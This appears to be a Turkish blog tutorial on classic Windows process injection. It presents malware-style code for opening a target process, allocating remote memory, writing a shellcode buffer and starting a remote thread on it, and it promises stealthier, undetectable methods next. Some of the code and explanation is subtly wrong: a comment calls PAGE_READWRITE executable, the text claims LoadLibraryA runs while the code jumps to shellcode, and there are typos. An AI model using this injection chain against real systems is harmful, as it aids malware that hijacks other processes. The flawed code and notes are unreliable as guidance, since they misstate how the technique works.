BlackNullSec Path #2: Windows API ile Process Injection Temelleri
🚀 Amaç: Windows Belleğine Dokunmak
Bu yazıda, bir zararlının (malware) başka bir prosese nasıl "sızdığını" öğreneceğiz. İlk hedefimiz: hedef prosese MessageBox gösteren bir DLL'i enjekte etmek. Bunun için 4 temel Windows API fonksiyonu kullanacağız:
OpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread
🧠 Adım Adım Injection Zinciri
[OpenProcess] → [VirtualAllocEx] → [WriteProcessMemory] → [CreateRemoteThread]
1. OpenProcess
Hedef prosesin PID'si ile prosesi “açar” ve bir handle alırsın.
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234);
2. VirtualAllocEx
Hedef prosesin belleğinde boş bir alan ayırırsın.
Not=Uzak bir Prosese(target belleginde neden yer ayırız. Cevap=Çünkü payload'ımızı (örnegin shellcode yada DLL yolu)oraya yazacagız
LPVOID remoteMem = VirtualAllocEx(hProc, NULL, 256, MEM_COMMIT, PAGE_READWRITE);
LPVOID remoteMem = VirtualAllocEx(
hProc, //Hedef porcess'in
NULL, // Başlangıç Adresi NULL dersek Sistem verir .
256, // Ayırmak istedigimiz bellek boyutu.
MEM_COMMIT| MEM_RESERVE, // Bellegi ayır ve Başlat.
PAGE_READWRITE); // Hem oku ve hem yaz hem çalıştır.
Not= CREATE_SUSPENDED Neden kullanılır.
Cevap=Processi hemen çalıstırmamak için hemen başlarsa hemen biter.
bize zaman kazandırır
3. WriteProcessMemory
DLL yolunu, az önce ayırdığın alana yazarsın.
Not=O ayıırdıgın bellege veri(ornegin shellcode)yazmak
//Shwllcode ornegi
BYTE shellcdoe []={
//Shellcode yazılan yer
}
SIZE_T scsize=sizeof(shellcode);
BOOL result=WriteProcessMemory(
hProc, //Hedef işlem
remoteMem, // az önce ayırdıgın adres
shellcode, // yazılacak veri
scsize, // Veri boyutu
NULL);
4. CreateRemoteThread
Hedef proseste bir thread oluşturur ve LoadLibraryA'yı çalıştırır.
HANDLE hThread = CreateRemoteThread(
hProc, //Hedef işlem
NULL, // Güvenlik ayarları
0, // Veri boyutu (0=ise varsayılandır)
(LPTHREAD_START_ROUTINE)remoteMem, //shellcode adresi
0, //Direk Başlat
NULL); // Thread ID yoksa NULL koy
NOT=NULL=pointer
🌍 Test Ortamında Deneme
- Hedef olarak
notepad.exegibi güvenli bir proses seç. - Process Hacker ile PID’yi bul.
- DLL’ini Visual Studio ile derle.
- Injector kodunu hazırla ve derle.
- Test VM içinde çalıştır ve sonucu gözlemle.
⚠️ Kritik Uyarı
Bu teknikler yalnızca eğitim amaçlıdır. Gerçek sistemlere uygulanması yasadışı olabilir. Asla gerçek ortamlarda test etme.
🌟 Sonraki Yazı: NtCreateThreadEx & Manual Mapping
Injection tekniklerini daha gizli ve tespit edilemez hale getirmek için NtCreateThreadEx ve Manual Mapping konularına geçeceğiz.
“Windows Belleğiyle Konuşan Kodlar”
hacker